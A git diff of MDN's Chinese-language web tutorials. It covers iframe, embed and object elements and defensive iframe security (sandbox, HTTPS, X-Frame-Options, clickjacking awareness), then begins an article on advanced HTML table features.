它只需要一些知识和仔细地思考。让我们更详细地探索这些代码。假设您想在其中一个网页上加入MDN词汇表,您可以尝试以下方式:</font></font></p> + +<pre class="notranslate"><iframe src="https://developer.mozilla.org/en-US/docs/Glossary" + width="100%" height="500" frameborder="0" + allowfullscreen sandbox> + <p> <a href="https://developer.mozilla.org/en-US/docs/Glossary"> + Fallback link for browsers that don't support iframes + </a> </p> +</iframe> +</pre> + +<p><font><font>此示例包括使用以下所需的</font></font><code><iframe></code><font><font>基本要素:</font></font></p> + +<dl> + <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-allowfullscreen">allowfullscreen</a></code></dt> + <dd><font><font>如果设置,</font></font><code><iframe></code><font><font>则可以通过</font></font><a href="/zh-CN/docs/Web/API/Fullscreen_API"><font><font>全屏API</font></font></a><font><font>设置为全屏模式</font><font>(稍微超出本文的范围)。</font></font></dd> + <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-frameborder">frameborder</a></code></dt> + <dd><font><font>如果设置为1,则会告诉浏览器在此框架和其他框架之间绘制边框,这是默认行为。</font><font>0删除边框。不推荐这样设置</font><font>,因为</font><font>在</font><a href="https://developer.mozilla.org/en-US/docs/Glossary/CSS" title="CSS:CSS(Cascading Style Sheets)是一种声明式语言,用于控制浏览器中网页的外观。"><font>CSS中</font></a><font>可以更好地实现相同的效果</font><font>。</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/border" title="边框CSS属性是用于一次设置所有单个边框属性值的缩写属性:border-width,border-style和border-color。 与所有速记属性一样,未指定的任何单个值都将设置为其对应的初始值。 重要的是,边框不能用于指定border-image的自定义值,而是将其设置为其初始值,即none。"><code>border</code></a><code>: none;</code></dd> + <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-src">src</a></code></dt> + <dd><font><font>该属性与</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video" title="使用HTML <video>元素将视频内容嵌入到文档中。"><code><video></code></a><font><font>/</font></font><code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img" title="HTML <img>元素表示文档中的图像。"><img></a></code><font><font>一样包</font></font><font><font>含指向要嵌入文档的URL路径。</font></font></dd> + <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-width">width</a></code><font><font> 和 </font></font><code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-height">height</a></code></dt> + <dd><font><font>这些属性指定您想要的iframe的宽度和高度。</font></font></dd> +</dl> + +<dl> + <dt>备选内容</dt> + <dd><font><font>与</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video" title="使用HTML <video>元素将视频内容嵌入到文档中。"><code><video></code></a><font><font>等其</font></font><font><font>他类似元素相同</font></font><font><font>,您可以在</font></font><code><iframe></iframe></code><font><font>标签</font><font>之间包含备选内容,</font><font>如果浏览器不支持</font></font><code><iframe></code><font><font>,将会显示备选内容,</font></font><font><font>这种情况下,我们已经添加了一个到该页面的链接。现在</font><font>您几乎不可能遇到任何不支持</font></font><code><iframe></code><font><font>的</font><font>浏览器</font><font>。</font></font></dd> + <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-sandbox">sandbox</a></code></dt> + <dd><font><font>该属性需要在已经支持其他</font></font><code><iframe></code><font><font>功能(例如IE 10及更高版本)但</font><font>稍微更现代的浏览器上才能工作,该属性可以</font><font>提高安全性设置; </font><font>我们将在下一节中更加详细地谈到。</font></font></dd> +</dl> + +<div class="note"> +<p><strong><font><font>注意</font></font></strong><font><font>:为了提高速度,</font></font><font><font>在主内容完成加载后</font><font>,使用JavaScript设置iframe的</font><font><code>src</code>属性</font><font>是个好主意</font><font>。</font><font>这使您的页面可以更快地被使用,并减少您的官方页面加载时间(重要的</font></font><a href="https://developer.mozilla.org/en-US/docs/Glossary/SEO" title="SEO:SEO(搜索引擎优化)是使网站在搜索结果中更加可见的过程,也称为提高搜索排名。"><font><font>SEO</font></font></a><font><font>指标)。</font></font></p> +</div> + +<h3 id="安全隐患"><font><font>安全隐患</font></font></h3> + +<p><font><font>以上我们提到了安全问题 - 现在我们来详细介绍一下这一点。</font><font>我们并不期望您第一次就能完全理解所有内容; 我们只想让您意识到这一问题,在您更有经验并开始考虑在您的实验和工作中</font><font>使用</font></font><code><iframe></code><font><font>时为你提供参考</font><font>。</font><font>此外,没有必要害怕和不使用</font></font><code><iframe></code><font><font>—你只需要谨慎一点。继续看下去吧</font><font>...</font></font></p> + +<p><font><font>浏览器制造商和Web开发人员了解到</font><font>网络上的坏人(通常被称为</font><strong><font>黑客</font></strong><font>,或更准确地说是</font><strong><font>破解者</font></strong><font>)</font><font>,如果他们试图恶意修改您的网页或欺骗人们进行不想做的事情时常把iframe作为共同的攻击目标(官方术语:</font></font><strong><font><font>攻击向量</font></font></strong><font><font>),例如显示用户名和密码等敏感信息。因此,规范工程师和浏览器开发人员已经开发了各种安全机制,使</font></font><code><iframe></code><font><font>更加安全,这有些最佳方案值得我们考虑 - 我们将在下面介绍其中的一些。</font></font></p> + +<div class="note"> +<p><a href="https://en.wikipedia.org/wiki/Clickjacking" title="点击劫持"><font><font>单击劫持</font></font></a><font><font>是一种常见的iframe攻击,黑客将隐藏的iframe嵌入到您的文档中(或将您的文档嵌入到他们自己的恶意网站),并使用它来捕获用户的交互。</font><font>这是误导用户或窃取敏感数据的常见方式。</font></font></p> +</div> + +<p><font><font>一个快速的例子 — 尝试在浏览器中加载上面的例子 - 你也可以</font></font><a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/iframe-detail.html"><font><font>在Github上找到它</font></font></a><font><font>(</font></font><a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/iframe-detail.html"><font><font>参见源代码</font></font></a><font><font>)。你将不会看到任何内容,但如果你点击</font></font><font><font><a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">浏览器开发者工具</a>中的<em>控制台</em></font></font><font><font>,你会看到一条消息,告诉你为什么没有显示内容。</font><font>在Firefox中,您会</font></font><em><font><font>被告知:“X-Frame-Options拒绝加载https://developer.mozilla.org/en-US/docs/Glossary”</font></font></em><font><font>。</font><font>这是因为构建MDN的开发人员已经在网站页面的服务器上设置了一个不允许被嵌入到</font></font><code><iframe></code><font><font>的设置(请参阅</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies#配置CSP指令"><font><font>配置CSP指令</font></font></a><font><font>)这是有必要的 — 整个MDN页面被嵌入在其他页面中没有多大意义,除非您想要将其嵌入到您的网站上并将其声称为自己的内容,或尝试通过单击劫持来窃取数据,这都是非常糟糕的事情。</font><font>此外,如果每个人都这样做,所有额外的带宽将花费Mozilla很多资金。</font></font></p> + +<h4 id="只有在必要时嵌入"><font><font>只有在必要时嵌入</font></font></h4> + +<p><font><font>有时嵌入第三方内容(例如YouTube视频和地图)是有意义的,但如果您只在完全需要时嵌入第三方内容,您可以省去很多麻烦。</font><font>网络安全的一个很好的经验法则是</font></font><em><font><font>“你怎么谨慎都不为过,如果你决定要做这件事,多检查一遍;如果是别人做的,在被证明是安全的之前,都假设这是危险的。”</font></font></em></p> + +<div> +<p>除了安全问题,你还应该意识到知识产权问题。无论在线内容还是离线内容,绝大部分内容都是有版权的,甚至是一些你没想到有版权的内容(例如,<a href="https://commons.wikimedia.org/wiki/Main_Page">Wikimedia Commons</a>上的大多数图片)。不要在网页上展示一些不属于你的内容,除非你是所有者或所有者给了你明确的、书面的许可。对于侵犯版权的惩罚是严厉的。再说一次,你再小心也不为过。</p> + +<p>如果内容获得许可,你必须遵守许可条款。例如,MDN上的内容是<a href="/zh-CN/docs/MDN/About#%E7%89%88%E6%9D%83%E5%92%8C%E8%AE%B8%E5%8F%AF">在CC-BY-SA下许可的</a>,这意味着,如果你要引用我们的内容,就必须<a href="https://wiki.creativecommons.org/wiki/Best_practices_for_attribution">用适当的方式注明来源</a>,即使你对内容做了实质性的修改。</p> +</div> + +<h4 id="使用_HTTPS">使用 HTTPS</h4> + +<p><a href="https://developer.mozilla.org/en-US/docs/Glossary/HTTPS" title="HTTPS:HTTPS(HTTP Secure)是HTTP协议的加密版本。 它通常使用SSL或TLS来加密客户端和服务器之间的所有通信。 这种安全连接允许客户端安全地与服务器交换敏感数据,例如用于银行活动或在线购物。"><font><font>HTTPS</font></font></a><font><font>是</font></font><a href="https://developer.mozilla.org/en-US/docs/Glossary/HTTP" title="HTTP:HTTP(超文本传输协议)是启用Web上文件传输的基本协议。 HTTP是文本的(所有的通信都是以纯文本形式进行的)和无状态的(没有通信知道以前的通信)。"><font><font>HTTP</font></font></a><font><font>的加密版本</font><font>。</font><font>您应该尽可能使用HTTPS为您的网站提供服务:</font></font></p> + +<ol> + <li><font><font>HTTPS减少了远程内容在传输过程中被篡改的机会,</font></font></li> + <li><font><font>HTTPS防止嵌入式内容访问您的父文档中的内容,反之亦然。</font></font></li> +</ol> + +<p><font><font>使用HTTPS需要一个安全证书,这可能是昂贵的(尽管</font></font><a href="https://letsencrypt.org/">Let's Encrypt</a>让这件<font><font>事变得更容易),如果你没有,可以使用HTTP来为你的父文档提供服务。</font><font>但是,由于HTTPS的第二个好处,</font></font><em><font><font>无论成本如何,您绝对不能使用HTTP嵌入第三方内容</font></font></em><font><font>(在最好的情况下,您的用户的Web浏览器会给他们一个可怕的警告)。所有有声望的公司,例如Google Maps或Youtube,当您嵌入内容时,</font></font><code><iframe></code><font><font>将通过HTTPS提供 - 查看</font></font><code><iframe></code> <code>src</code><font><font>属性内的URL。</font></font></p> + +<div class="note"> +<p><strong><font><font>注意</font></font></strong><font><font>:</font></font><a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/Using_Github_pages"><font><font>Github页面</font></font></a><font><font>允许默认情况下通过HTTPS提供内容,因此对托管内容很有用。</font><font>如果您正在使用不同的托管,并且不确定,请向您的托管服务商询问。</font></font></p> +</div> + +<h4 id="始终使用sandbox属性"><font><font>始终使用</font></font><code>sandbox</code><font><font>属性</font></font></h4> + +<p>想尽可能减少攻击者在你的网站上做坏事的机会,那么你应该给嵌入的内容仅能完成自己工作的权限<em><font><font>。</font></font></em><font><font>当然,这也适用于你自己的内容。一个允许包含在其里的代码以适当的方式执行或者用于测试</font><font>,但不能对其他代码库(意外或恶意)造成任何损害的容器称为</font></font><a href="https://en.wikipedia.org/wiki/Sandbox_(computer_security)"><font><font>沙盒</font></font></a><font><font>。</font></font></p> + +<p><font><font>未沙盒化(Unsandboxed)内容可以做得太多(执行JavaScript,提交表单,弹出窗口等)默认情况下,您应该使用没有参数的<code>sandbox</code></font><font>属性</font><font>来强制执行所有可用的限制</font><font>,如我们前面的示例所示。</font></font></p> + +<p><font><font>如果绝对需要,您可以逐个添加权限(</font></font><code>sandbox=""</code><font><font>属性值内) - 请参阅</font></font><code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-sandbox">sandbox</a></code><font><font>所有可用选项</font><font>的</font><font>参考条目。</font><font>其中重要的一点是,你</font></font><em><font><font>永远不</font></font></em><font><font>应该</font></font><font><font>同时添加</font></font><code>allow-scripts</code><font><font>和</font></font><code>allow-same-origin</code><font><font>到你的</font></font><code>sandbox</code><font><font>属性中-</font></font>在这种情况下,嵌入式内容可以绕过阻止站点执行脚本的同源安全策略,并使用JavaScript完全关闭沙盒。</p> + +<div class="note"> +<p><strong><font><font>注意</font></font></strong><font><font>:</font></font>如果攻击者可以欺骗人们直接访问恶意内容(在iframe之外),则沙盒无法提供保护。如果某些内容可能是恶意的(例如,用户生成的内容),请保证其是从不同的<a href="https://developer.mozilla.org/en-US/docs/Glossary/domain">域</a>向您的主站点提供的。</p> +</div> + +<h4 id="配置CSP指令"><font><font>配置CSP指令</font></font></h4> + +<p><a href="https://developer.mozilla.org/en-US/docs/Glossary/CSP" title="CSP:CSP(内容安全策略)用于检测和减轻某些类型的网站相关攻击,如XSS和数据注入。"><font><font>CSP</font></font></a><font><font>代表</font></font><strong><a href="https://developer.mozilla.org/en-US/docs/Web/Security/CSP"><font><font>内容安全策略</font></font></a></strong><font><font>,它提供</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives"><font><font>一组HTTP标头</font></font></a><font><font>(由web服务器发送时与元数据一起发送的元数据),旨在提高HTML文档的安全性。</font><font>在</font></font><code><iframe></code>s<font><font>安全性方面</font></font><font><font>,您可以</font></font><em><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options"><font><font>将服务器配置为发送适当的</font></font><code>X-Frame-Options</code><font><font> 标题。</font></font></a></em><font><font>这样做可以防止其他网站在其网页中嵌入您的内容(这将导致</font></font><a href="https://en.wikipedia.org/wiki/clickjacking" title="点击劫持"><font><font>点击</font></font></a><font><font>和一系列其他攻击),正如我们之前看到的那样,MDN开发人员已经做了这些工作。</font></font></p> + +<div class="note"> +<p><strong><font><font>注意</font></font></strong><font><font>:您可以阅读Frederik Braun的帖子</font></font><font><font><a href="https://blog.mozilla.org/security/2013/12/12/on-the-x-frame-options-security-header/">在X-Frame-Options安全性头上</a>来</font></font><font><font>获取有关此主题的更多背景信息。</font><font>显然,在这篇文章中已经解释得很清楚了。</font></font></p> +</div> + +<h2 id="<embed>和<object>元素"><font><font><embed>和<object>元素</font></font></h2> + +<p><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed" title="HTML <embed>元素表示外部应用程序或交互式内容(换句话说,插件)的集成点。"><code><embed></code></a><font><font>和</font></font><code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object" title="HTML <object>元素表示外部资源,可以将其视为图像,嵌套浏览上下文或要由插件处理的资源。"><object></a></code><font><font>元素</font></font><font><font>的功能不同于</font></font><code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe" title="HTML <iframe>元素表示嵌套的浏览上下文,有效地将另一个HTML页面嵌入到当前页面中。 在HTML 4.01中,文档可能包含一个头部和一个主体或头部和框架集,但不包括主体和框架集。 但是,一个<iframe>可以在普通文档正文中使用。 每个浏览上下文都有自己的会话历史和活动文档。 包含嵌入内容的浏览上下文称为父浏览上下文。 顶级浏览上下文(没有父级)通常是浏览器窗口。"><iframe></a></code>—— 这<font><font>些元素是用来嵌入多种类型的外部内容的通用嵌入工具,其中包括像Java小程序和Flash,PDF(可在浏览器中显示为一个PDF插件)这样的插件技术,甚至像视频,SVG和图像的内容!</font></font></p> + +<div class="note"> +<p><strong><font><font>注意</font></font></strong><font><font>:</font></font><strong><font><font>插件</font></font></strong><font><font>是一种对浏览器原生无法读取的内容提供访问权限的软件。</font></font></p> +</div> + +<p><font><font>然而,您不太可能使用这些元素 - Applet几年来一直没有被使用;由于许多原因,Flash不再受欢迎(见</font><font>下面的</font></font><a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies#The_case_against_plugins"><font><font>插件案例</font></font></a><font><font>);PDF更倾向于被链接而不是被嵌入;其他内容,如图像和视频都有更优秀、更容易元素来处理。插件和这些嵌入方法真的是一种传统技术,我们提及它们主要是为了以防您在某些情况下遇到问题,比如内部网或企业项目等。</font></font></p> + +<p><font><font>如果您发现自己需要嵌入插件内容,那么您至少需要一些这样的信息:</font></font></p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col"></th> + <th scope="col">{{htmlelement("embed")}}</th> + <th scope="col">{{htmlelement("object")}}</th> + </tr> + </thead> + <tbody> + <tr> + <td><font>嵌入内容的</font><a href="https://developer.mozilla.org/en-US/docs/Glossary/URL" title="URL: Uniform Resource Locator (URL) is a text string specifying where a resource can be found on the Internet."><font>网址</font></a></td> + <td>{{htmlattrxref('src','embed')}}</td> + <td>{{htmlattrxref('data','object')}}</td> + </tr> + <tr> + <td><font><font>嵌入内容的</font></font><em><font><font>准确</font></font></em><a href="https://developer.mozilla.org/en-US/docs/Glossary/MIME_type" title="媒体类型:MIME类型(现在称为“媒体类型”,有时也称为“内容类型”)是与指示文件类型的文件一起发送的字符串(例如,声音文件可能标记为音频/ ogg,或一个图像文件图像/ png)。 它的作用与传统上在Windows上的文件扩展名相同。"><font><font>媒体类型</font></font></a></td> + <td>{{htmlattrxref('type','embed')}}</td> + <td>{{htmlattrxref('type','object')}}</td> + </tr> + <tr> + <td><font><font>由插件控制的框的高度和宽度(以CSS像素为单位)</font></font></td> + <td>{{htmlattrxref('height','embed')}}<br> + {{htmlattrxref('width','embed')}}</td> + <td>{{htmlattrxref('height','object')}}<br> + {{htmlattrxref('width','object')}}</td> + </tr> + <tr> + <td>名称和值,将插件作为参数提供</td> + <td>具有这些名称和值的ad hoc属性</td> + <td><font><font>单标签</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/param" title="HTML <param>元素定义了一个<object>元素的参数。"><code><param></code></a><font><font>元素,包含在内</font></font><code><object></code></td> + </tr> + <tr> + <td>独立的HTML内容作为不可用资源的回退</td> + <td><font><font>不支持(</font></font><code><noembed></code><font><font>已过时)</font></font></td> + <td><font><font>包含在</font><font>元素</font></font><code><object></code><font><font>之后</font></font><code><param></code></td> + </tr> + </tbody> +</table> + +<div class="note"> +<p><strong><font><font>注意</font></font></strong><font><font>:</font></font><code><object></code><font><font>需要</font></font><code>data</code><font><font>属性,</font></font><code>type</code><font><font>属性或两者。</font><font>如果您同时使用这两个,您也可以使用该</font></font><code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object#attr-typemustmatch">typemustmatch</a></code><font><font>属性(仅在Firefox中实现,在本文中)。</font></font><code>typemustmatch</code><font><font>保持嵌入文件不运行,除非</font></font><code>type</code><font><font>属性提供正确的媒体类型。</font></font><code>typemustmatch</code><font><font>因此,当您嵌入来自不同</font></font><a href="https://developer.mozilla.org/en-US/docs/Glossary/origin" title="来源:Web内容的起源由方案(协议),主机(域)和用于访问它的URL的端口定义。 只有当方案,主机和端口都匹配时,两个对象具有相同的原点。"><font><font>来源的</font></font></a><font><font>内容</font><font>(可以防止攻击者通过插件运行任意脚本)</font><font>时,可以赋予重要的安全优势</font><font>。</font></font></p> +</div> + +<p><font><font>下面是一个使用该</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed" title="HTML <embed>元素表示外部应用程序或交互式内容(换句话说,插件)的集成点。"><code><embed></code></a><font><font>元素嵌入Flash影片</font><font>的示例</font><font>(请参阅</font><font>此处的</font></font><a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/embed-flash.html"><font><font>Github</font></font></a><font><font>,并</font></font><a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/embed-flash.html"><font><font>检查源代码</font></font></a><font><font>):</font></font></p> + +<pre class="brush: html notranslate"><embed src="whoosh.swf" quality="medium" + bgcolor="#ffffff" width="550" height="400" + name="whoosh" align="middle" allowScriptAccess="sameDomain" + allowFullScreen="false" type="application/x-shockwave-flash" + pluginspage="http://www.macromedia.com/go/getflashplayer"></pre> + +<p><font><font>很可怕,不是吗 。</font><font>Adobe Flash工具生成的HTML往往更糟糕,使用</font><font>嵌入</font></font><code><object></code><font><font>元素的</font></font><code><embed></code><font><font>元素来覆盖所有的基础(查看一个例子)。甚至有一段时间,Flash被成功地用作HTML5视频的备用内容,但是这种情况越来越被认为是不必要的。</font></font></p> + +<p><font><font>现在来看一个</font></font><code><object></code><font><font>将PDF嵌入一个页面的例子</font></font><font><font>(参见</font><a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/object-pdf.html"><font>实例</font></a><font>和</font></font><a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/object-pdf.html"><font><font>源代码</font></font></a><font><font>):</font></font></p> + +<pre class="brush: html notranslate"><object data="mypdf.pdf" type="application/pdf" + width="800" height="1200" typemustmatch> + <p>You don't have a PDF plugin, but you can <a href="myfile.pdf">download the PDF file.</a></p> +</object></pre> + +<p><font><font>PDF是纸与数据之间重要的阶梯,但它们</font></font><a href="http://webaim.org/techniques/acrobat/acrobat">在可访问性上有些问题</a><font><a href="http://webaim.org/techniques/acrobat/acrobat"><font>,</font></a><font>并且可能难以在小屏幕上阅读。它们在一些圈子中仍然受欢迎,我们最好是用链接指向它们,而不是将其嵌入到网页中,以便它们可以在单独的页面上被下载或被阅读。</font></font></p> + +<h3 id="针对插件的情况"><font><font>针对插件的情况</font></font></h3> + +<p><font><font>以前,插件在网络上是不可或缺的。还记得</font><font>你必须安装Adobe Flash Player才能在线观看电影的日子吗?并且你还会不断地收到关于更新Flash Player和Java运行环境的烦人警报。Web技术已经变得更加强大,那些日子已经结束了。对于大多数应用程序,现在是停止依赖插件传播内容,开始利用Web技术的时候了。</font></font></p> + +<ul> + <li><strong><font><font>扩大你对大家的影响力。</font></font></strong><font><font>每个人都有一个浏览器,但插件越来越少,特别是在移动用户中。</font><font>由于Web在很大程度上不需要依赖插件而运行,所以人们宁愿只是去竞争对手的网站而不是安装插件。</font></font></li> + <li><strong><font><font>从</font><font>Flash和其他插件附带</font><font>的</font></font><a href="http://webaim.org/techniques/flash/"><font><font>额外的可访问性问题</font></font></a><font><font>中</font>摆脱<font>。</font></font></strong></li> + <li><strong><font><font>避免额外的安全隐患。</font></font></strong><font><font>即使经过无数次补丁</font></font><a href="http://www.cvedetails.com/product/6761/Adobe-Flash-Player.html?vendor_id=53"><font><font>,</font></font></a><font><font> Adobe Flash也是</font><a href="http://www.cvedetails.com/product/6761/Adobe-Flash-Player.html?vendor_id=53"><font>非常不安全的</font></a><font>。</font><font>2015年,Facebook的首席安全官Alex Stamos甚至</font></font><a href="http://www.theverge.com/2015/7/13/8948459/adobe-flash-insecure-says-facebook-cso"><font><font>要求Adobe停止Flash。</font></font></a></li> +</ul> + +<p><font><font>那你该怎么办?</font><font>如果您需要交互性,HTML和</font></font><a href="https://developer.mozilla.org/en-US/docs/Glossary/JavaScript" title="JavaScript:JavaScript(JS)是一种编程语言,主要用于客户端来动态地脚本化网页,但也常常是服务器端的。"><font><font>JavaScript</font></font></a><font><font>可以轻松地为您完成工作,而不需要Java小程序或过时的ActiveX / BHO技术。</font><font>您可以使用</font></font><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content"><font><font>HTML5视频</font></font></a><font><font>来满足媒体需求,</font><font>矢量图形</font></font><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web"><font><font>SVG</font></font></a><font><font>,以及</font><font>复杂图像和动画</font></font><a href="/zh-CN/docs/Web/API/Canvas_API/Tutorial"><font><font>画布</font></font></a><font><font>。</font></font><a href="https://plus.google.com/+PeterElst/posts/P5t4pFhptvp"><font><font>彼得·埃尔斯特(Peter Elst)几年前已经提到</font></font></a><font><font>,对于工作Adobe Flash极少是正确的工具,除了专门的游戏和商业应用。对于ActiveX,即使微软的</font></font><a href="https://developer.mozilla.org/en-US/docs/Glossary/Microsoft_Edge" title="Edge:Microsoft Edge是一种免费的图形Web浏览器,与Microsoft Windows捆绑在一起,由Microsoft自2014年开始。最初称为Spartan,Edge取代了长期以来的Microsoft浏览器Internet Explorer。"><font><font>Edge</font></font></a><font><font>浏览器也不再支持。</font></font></p> + +<h2 id="总结">总结</h2> + +<p><font><font>在Web文档中嵌入其他内容这一主题可以很快变得非常复杂,因此在本文中,我们尝试以一种简单而熟悉的方式来介绍它,这种介绍方式将立即显示出相关性,同时仍暗示了一些涉及更高级功能的技术。刚开始,除了嵌入第三方内容(如地图和视频),您不太可能在网页上使用到嵌入技术。当你变得更有经验时,你可能会开始为他们找到更多的用途。</font></font></p> + +<p><font><font>除了我们在这里讨论的那些外,还有许多涉及嵌入外部内容的技术。我们看到了一些在前面的文章中出现的,如</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video" title="使用HTML <video>元素将视频内容嵌入到文档中。"><code><video></code></a><font><font>,</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/audio" title="HTML <audio>元素用于在文档中嵌入声音内容。 它可能包含一个或多个音频源,使用src属性或<source>元素表示:浏览器将选择最合适的一个。 它也可以是流媒体的目的地,使用MediaStream。"><code><audio></code></a><font><font>和</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img" title="HTML <img>元素表示文档中的图像。"><code><img></code></a><font><font>,但还有其它的有待关注,如 </font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/canvas" title="使用HTML <canvas>元素与canvas脚本API来绘制图形和动画。"><code><canvas></code></a><font><font>用于JavaScript生成的2D和3D图形,</font></font><code><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/svg" title="关于此的文件尚未写入; 请考虑贡献!"><svg></a></code>用于<font><font>嵌入矢量图形</font></font><font><font>。</font><font>我们将在此学习模块的下一篇文章中学习</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/SVG"><font><font>SVG</font></font></a><font><font>。</font></font></p> + +<p>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding")}}</p> diff --git a/files/zh-cn/learn/html/tables/advanced/index.html b/files/zh-cn/learn/html/tables/advanced/index.html new file mode 100644 index 0000000000..66726e276e --- /dev/null +++ b/files/zh-cn/learn/html/tables/advanced/index.html @@ -0,0 +1,461 @@ +--- +title: HTML表格高级特性和可访问性 +slug: Learn/HTML/Tables/Advanced +tags: + - HTML + - scope + - table + - tbody + - tfoot + - thead + - 初学者 + - 可访问性 + - 学习 + - 标题 + - 高级 +translation_of: Learn/HTML/Tables/Advanced +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}</div> + +<p class="summary">这个模块的第二篇文章中,我们来看一下 HTML 表格更高级的功能,比如像 表格的标题/摘要,以及将你表格中的各行分组成头部、正文、页脚部分,提高视力受损用户的可访问性。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">学习本章节的前提条件:</th> + <td>HTML 的基础知识 (see <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>).</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>学习 HTML 表格进一步的功能,以及表格的无障碍访问性。</td> + </tr> + </tbody> +</table> + +<h2 id="使用_<caption>_为你的表格增加一个标题">使用 <caption> 为你的表格增加一个标题</h2> + +<p>你可以为你的表格增加一个标题,通过 {{htmlelement("caption")}} 元素,再把 {{htmlelement("caption")}} 元素放入 {{htmlelement("table")}} 元素中. 你应该把它放在<code><table></code> 标签的下面。</p> + +<pre class="brush: html"><table> + <caption>Dinosaurs in the Jurassic period</caption> + + ... +</table></pre> + +<p>从上面简单的例子可以推断,标题意味着包含对于表格内容的描述,这对那些希望可以快速浏览网页中的表格对他们是否有帮助的读者们来说,是非常好的功能。特别是盲人用户,不需要让屏幕阅读设备读出很多单元格的内容,来让用户了解这张表格讲的是什么,而是可以依靠标题的内容,来决定是否需要了解更详细的内容。</p> + +<p>标题就放在 <code><table></code> 标签的下面。</p> + +<div class="note"> +<p><strong>注意</strong>: 这个 {{htmlattrxref("summary","table")}} 属性也可以在<code><table></code> 元素中使用,用来提供一段描述,同样可以被屏幕阅读设备阅读。我们推荐使用 <code><caption></code> 元素来代替使用,因为 <code>summary</code> 被 HTML5 规范, {{glossary("deprecated")}} (废除了),也不能被视力正常的用户阅读。 (它不会出现在页面上)</p> +</div> + +<h3 id="动手练习_添加一个标题">动手练习: 添加一个标题</h3> + +<p>我们来试试看吧,回顾一下我们在之前的文章中第一次遇到的例子。.</p> + +<ol> + <li>打开你的语言老师的学校时间表,就是 <a href="/en-US/docs/Learn/HTML/Tables/Basics#Active_learning_colgroup_and_col">HTML Table Basics</a> 结尾中的例子,或者把 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable-fixed.html">timetable-fixed.html</a> 文件复制下面.</li> + <li>为表格添加一个合适的标题。</li> + <li>保存你的代码,然后用浏览器打开,看看你的表格是什么样的。</li> +</ol> + +<div class="note"> +<p><strong>注意</strong>:你也可以在 GitHub 上找到我们的版本 <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/timetable-caption.html">timetable-caption.html</a> (<a href="https://mdn.github.io/learning-area/html/tables/advanced/timetable-caption.html">see it live also</a>).</p> +</div> + +<h2 id="添加_<thead>_<tfoot>_和_<tbody>_结构">添加 <thead>, <tfoot>, 和 <tbody> 结构</h2> + +<p>由于你的表格在结构上有点复杂,如果把它们定义得更加结构化,那会帮助我们更能了解结构。一个明确的方法是使用 {{htmlelement("thead")}}, {{htmlelement("tfoot")}},和 {{htmlelement("tbody")}}, 这些元素允许你把表格中的部分标记为表头、页脚、正文部分。</p> + +<p>这些元素不会使表格更易于屏幕阅读器用户访问,也不会造成任何视觉上的改变。然而,它们在应用样式和布局上会起到作用,可以更好地让 CSS 应用到表格上。给你一些有趣的例子,在长表格的情况下,你可以在每个打印页面上使表格页眉和页脚重复,你也可以让表格的正文部分显示在一个单独的页面上,并通过上下滚动来获得内容。</p> + +<p>试着使用它们:</p> + +<ul> + <li> <code><thead></code> 需要嵌套在 table 元素中,放置在头部的位置,因为它通常代表第一行,第一行中往往都是每列的标题,但是不是每种情况都是这样的。如果你使用了 {{htmlelement("col")}}/{{htmlelement("colgroup")}} 元素,那么 <code><thead></code>元素就需要放在它们的下面。</li> 